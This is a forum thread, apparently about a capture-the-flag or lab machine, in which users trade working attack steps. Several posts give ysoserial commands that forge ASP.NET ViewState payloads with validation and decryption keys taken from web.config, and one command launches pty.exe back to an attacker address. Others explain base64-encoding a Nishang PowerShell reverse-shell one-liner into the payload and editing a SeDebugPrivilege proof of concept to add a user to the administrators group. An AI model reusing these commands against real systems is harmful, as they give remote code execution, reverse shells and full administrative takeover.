[DwightSchrute]

im stuck with wine and ysoserial... all i got with the commands from https://book.hacktricks.xyz/pentesting-w...-parameter
is the error message : "Invalid generator parameter. It needs to be in Hex format. Example: 955733D9"

never done that kind of stut before...help is much appreciated.

[jahman]

im stuck with wine and ysoserial... all i got with the commands from https://book.hacktricks.xyz/pentesting-w...-parameter
is the error message : "Invalid generator parameter. It needs to be in Hex format. Example: 955733D9"

never done that kind of stut before...help is much appreciated.

.\ysoserial.exe -p ViewState -g TextFormattingRunProperties --decryptionalg="AES" --decryptionkey="DECRYPTION_KEY" --validationalg="SHA1" --validationkey="VALIDATION_KEY" --path="/portfolio/contact.aspx"  -c "/programdata/pty.exe X.X.X.X 2228"

DECRYPTION_KEY et VALIDATION_KEY are in the web.config file

[nonofyabusiness]

./ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "COMMAND" --path="/portfolio/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"

[DeepDrop]

can someone post an example of the burp suite view state after inputting the ysoserial payload ? I can't seem to get a shell with the powershell command. Or which powershell rev shell did you use. Thanks.

[peRd1]

can someone post an example of the burp suite view state after inputting the ysoserial payload ? I can't seem to get a shell with the powershell command. Or which powershell rev shell did you use. Thanks.

powershell #3 base64 from revshells

[h2m0nRe-d0b1e]

can someone post an example of the burp suite view state after inputting the ysoserial payload ? I can't seem to get a shell with the powershell command. Or which powershell rev shell did you use. Thanks.

rev.ps1 on github github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1
code on linux `CODE=$(cat rev.ps1 | iconv -t utf-16le | base64 -w 0; echo)`
paste to -c `echo "powershell -enc $CODE"`

[DeepDrop]

can someone post an example of the burp suite view state after inputting the ysoserial payload ? I can't seem to get a shell with the powershell command. Or which powershell rev shell did you use. Thanks.

powershell #3 base64 from revshells

omg. thank you so much brother. i'm in.

[jahman]

Anyone got ysoserial working on dotNETCore? Some people don't touch Windows with a stick

it's not .net core, it's aspx, legacy asp.net ...

---

anyone any idea for root ?

https://github.com/daem0nc0re/PrivFu/tre...ivilegePoC

is the priv disabled by default, why i can't enable it thoo wth

i don't understand, alaading has the SeDebugPrivilege priv.

with the SeDebugPrivilegePoC ,you just have to modify the CreateProcess cmdline in the source code to feet with the box:
@"C:\Windows\System32\cmd.exe /c net localgroup administrators alaading /add"

[Vapulame]

Anyone got ysoserial working on dotNETCore? Some people don't touch Windows with a stick

it's not .net core, it's aspx, legacy asp.net ...

---

anyone any idea for root ?

https://github.com/daem0nc0re/PrivFu/tre...ivilegePoC

is the priv disabled by default, why i can't enable it thoo wth

i don't understand, alaading has the SeDebugPrivilege priv.

with the SeDebugPrivilegePoC ,you just have to modify the CreateProcess cmdline in the source code to feet with the box:
@"C:\Windows\System32\cmd.exe /c net localgroup administrators alaading /add"

yea yea nevermind i was doing some other dumb shit nvermind haha lol

[sierra2620]

decrypted them,

Yooo, how did you decrypt them... any leads to that? I don't want password